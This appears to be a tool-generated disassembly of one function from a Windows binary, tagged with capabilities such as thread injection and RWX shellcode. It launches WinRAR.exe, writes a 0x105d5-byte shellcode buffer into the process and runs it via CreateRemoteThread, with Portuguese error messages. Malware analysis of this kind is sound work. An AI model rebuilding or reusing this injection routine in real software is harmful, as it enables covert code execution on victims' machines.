Function at 0x18003c210
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0xf0
mov rax, qword [0x18042c040]
xor rax, rsp
mov qword [rsp + 0xe0], rax
call fcn.18003c0b0
xor esi, esi
test eax, eax
jne 0x18003c370
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
movups xmmword [rsp + 0xa8], xmm0
lea rax, [rsp + 0x50]
mov dword [rsp + 0xac], 1
mov qword [rsp + 0x48], rax
lea rcx, str.C:Program_FilesWinRARWinRAR.exe
lea rax, [rsp + 0x70]
mov word [rsp + 0xb0], si
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov qword [rsp + 0x30], rsi
xor edx, edx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], esi
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0xb8], xmm0
movups xmmword [rsp + 0xc8], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x18003c304
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Falha_ao_abrir_o_processo
call fcn.1800362c0
lea rdx, str.C:Program_FilesWinRARWinRAR.exe
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
lea rdx, [0x1800364a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x18003c453
mov rbx, qword [rsp + 0x50]
xor edx, edx
mov qword [rsp + 0x100], rdi
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x105d5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x18003c3a0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Falha_ao_alocar_mem
call fcn.1800362c0
lea rdx, str.C:Program_FilesWinRARWinRAR.exe
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x1800364a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x18003c442
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x18003c309
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Falha_ao_abrir_o_processo_msedge.exe.
call fcn.1800362c0
jmp 0x18003c2ef
mov r9d, 0x105d5
mov qword [rsp + 0x20], rsi
lea r8, [0x1803c51b0]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x18003c40c
lea rdx, str.Falha_ao_escrever_o_shellcode_no_processo
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1800362c0
lea rdx, str.C:Program_FilesWinRARWinRAR.exe
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x1800364a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x18003c442
mov qword [rsp + 0x30], rsi
mov r9, rdi
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x18003c439
lea rdx, str.Falha_ao_criar_o_thread_remoto_no_processo
jmp 0x18003c3c9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x100]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1800433d0
mov rbx, qword [rsp + 0x108]
add rsp, 0xf0
pop rsi
ret